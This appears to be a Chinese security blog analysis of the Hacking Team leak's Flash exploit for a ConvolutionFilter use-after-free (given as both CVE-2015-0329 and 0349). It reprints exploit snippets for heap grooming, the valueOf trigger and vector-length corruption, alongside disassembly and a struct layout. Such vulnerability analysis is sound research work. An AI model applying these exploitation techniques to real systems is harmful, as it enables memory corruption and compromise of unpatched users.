Hacking Team攻击代码分析Part 2:一个Pwn2Own漏洞的奇幻漂流


发布人:admin分类:网络安全浏览量:30发布时间:2017-12-12

之前我们分析了HackingTeam泄露数据中的Flash 0day (bytearray 0day)。而在泄露数据中我们还看到了另外一个名为convolution_filter的flash exploit。

看了一下这个flash exploit,很快意识到这个漏洞是一个已经修补的漏洞cve-2015-0329,在今年4月份被修补,这也解释了readme文档中,flash后面加了“(April 2015)”,意思是这个洞只能用到今年4月之前的flash版本中:

(https://helpx.adobe.com/cn/security/products/flash-player/apsb15-06.html)

这个漏洞有个不平凡的故事,今年的Pwn2Own大赛中,前Vupen主力Nicolas Joly正是用这个漏洞拿下了64位Flash插件:

 

所以事情就变得很有趣了,一边是Nico用这个漏洞打 Pwn2Own,另一边HackingTeam(从常理推测,应该是通过其它渠道,和Nico无关)也掌握了这个漏洞并将其用于自己的Exploit工具包中。

CVE-2015-0349原理分析

再回头看一下CVE-2015-0349这个漏洞,这是一个ActionScript 3中ConvolutionFilter类的内部matrix数组的一个Use After Free漏洞,这是个非常好用的漏洞,在32位和64位上都可以轻松实现稳定利用。

我们来看一下HackingTeam泄露的exploit代码,关键部分如下:

1.  创建ConvolutionFilter对象:

// try to allocate two sequential pages of memory: [ matrix ][ MyClass2 ]
                for(i=20; i < alen; i+=6){
                    a[i] = new Class2(i);
                   
                    for(j=i+1; j < i+5; j++)
                        a[j] = new ConvolutionFilter(14,15);
                   
                    a[i+5] = new Class2(i+5);
                }

1.  设置ConvolutionFilter.matrix

var m:Array = new Array(bLen);
m[0] = new Clasz;
m[1] = m[0];
 
try { filter.matrix = m; } catch (e:Error){}

这里有一个关键点,filter.matrix被赋值为m(类型是 Array),而Array m的第一个元素是一个Clasz类,而Clasz类定义了valueOf方法,这个valueOf是漏洞触发的关键点:

public class Clasz
    {
        …
        public function Clasz() {   }
       
        prototype.valueOf = function()
        {
…
}

2.  在Clasz的valueOf函数中,设置ConvolutionFilter.matrixX:

prototype.valueOf = function()
        {
            if (filter.matrixX > 14) throw new Error(""); // check for the second valueOf() call
       
            ref = new Array(5);
            collect.push(ref); // protect from GC // for RnD
           
            filter.matrixX = 15; // reallocate filter matrix
           
            // reuse freed memory
            for(var i:int; i < ref.length; i++) {
                ref[i] = new Vector.<uint>;
                ref[i].length = bLen;
            }
           
            // return value for vector length overwriting
            return 2; // = 0x40000000 as single precision
           
        }

事实上filter.matrixX = 15执行完毕之后,ConvolutionFilter内部的一个float数组(我们叫他matrixArray)就会被释放,而从valueOf返回之后,已经释放的matrixArray还会继续被使用,并且往里面写入数据,从而造成了Use-After-Free。我们可以看到valueOf函数中,在设置了filter.matrixX之后,分配了一系列的vector<uint>,这些vector就是用来占用释放后的matrixArray的内存的。这样当程序继续往被释放后的matrixArray里写数据时,实际上是在往vector对象里面写数据,从而达到修改vector长度字段的目的,便于进一步exploit。

细节分析

我们首先先介绍一下ConvolutionFilter的关键结构:

ConvolutionFilterObject {
+10 ConvolutionFilter {
    +14     int matrixX;
    +18     int matrixY;
    +1C     float *matrixArray;
+20     int matrixLength;
}
}

ConvolutionFilter里面有成员存放matrix矩阵,matrixX和matrixY代表矩阵的x和y,matrixArray是动态分配的数组,其大小是由matrixX和matrixY决定的,关系如下:

matrixArray = alloc( matrixX * matrix * sizeof(float) )

当matrixX和matrixY改变时,如果原来的matrixArray大小不足以容纳现在的容量,则旧的matrixArray会被释放,然后分配新的matrixArray (UAF就是这么来的)

当exploit代码创建ConvolutionFilter时,传入的参数是matrixX=14,matrix=15:

a[j] = new ConvolutionFilter(14,15);

因此matrixArray初始大小为 14 * 15 * 4 = 840,然后我们看一下第二步,执行

try { filter.matrix = m; } catch (e:Error){}

时发生了什么:

ConvolutionFilter::set_matrix基本上是直接调用了另外一个函数,我们叫他set_matrix_internal:

.text:102E9604 loc_102E9604:                           ; CODE XREF: sub_102E95ED+Aj
.text:102E9604                 push    14h
.text:102E9606                 lea     eax, [esi+24h]
.text:102E9609                 push    eax
.text:102E960A                 mov     eax, [esi+8]
.text:102E960D                 mov     ecx, [eax+4]
.text:102E9610                 or      edi, 1
.text:102E9613                 push    edi
.text:102E9614                 call    set_matrix_internal

调用该函数时参数如下:

set_matrix_internal( paramArray,  matrixArray,  matrixLength )

这里的关键点是:matrixArray直接作为参数被传入。我们来看一下set_matrix_internal函数,该函数的功能可以描述为:将paramArray(在exploit里面就是m这个数组)里面的每一项赋值给matrixArray中对应的项,由于matrixArray的类型为float *,因此如果有必要的话得把paramArray中的元素转换成float,对应逻辑的伪代码如下:

for ( i = 0; I < matrixLength; ++ i ) {
matrixArray[i] = (float)ConvertToNumber(paramArray.get(i));
}

还记得我们的m[0]被设置成一个Clasz对象了吗?

m[0] = new Clasz;

将Clasz对象转换成Number的过程中,会调用Clasz对象的valueOf函数,而前面已经讲过,valueOf函数会设置filter.matrixX=15(原来的matrixX为14),此时由于matrixArray大小不够,于是旧的matrixArray被释放,新的matrixArray被分配。然后从valueOf返回到set_matrix_internal以后,程序继续向matrixArray里面写入值,注意这里用的还是旧的 matrixArray,于是UAF漏洞就这样产生了。

又是valueOf

如果你看过我们前一篇分析bytearray 0day的文章,你可能对valueOf这个函数依然印象深刻。事实上这两个洞无论是从产生原理,还是利用方式来讲都非常的相近。背后隐藏的逻辑是脚本语言从native code回调到脚本层(通过toString, valueOf, event等等),还是很容易出现没处理好而造成UAF等情况的发生。类似case已经在chrome, IE, flash, java等等软件中多次出现,有心的读者可以去留意一下。事实上这也是脚本语言漏洞挖掘中的一个值得切入的点。

漏洞防范

由于Adobe官方已针对此漏洞发布了安全更新,用户只要及时升级就可避免受此漏洞影响。

作者:360Vulcan Team成员Yuki Chen,转载需注明来自FreeBuf黑客与极客(FreeBuf.COM)


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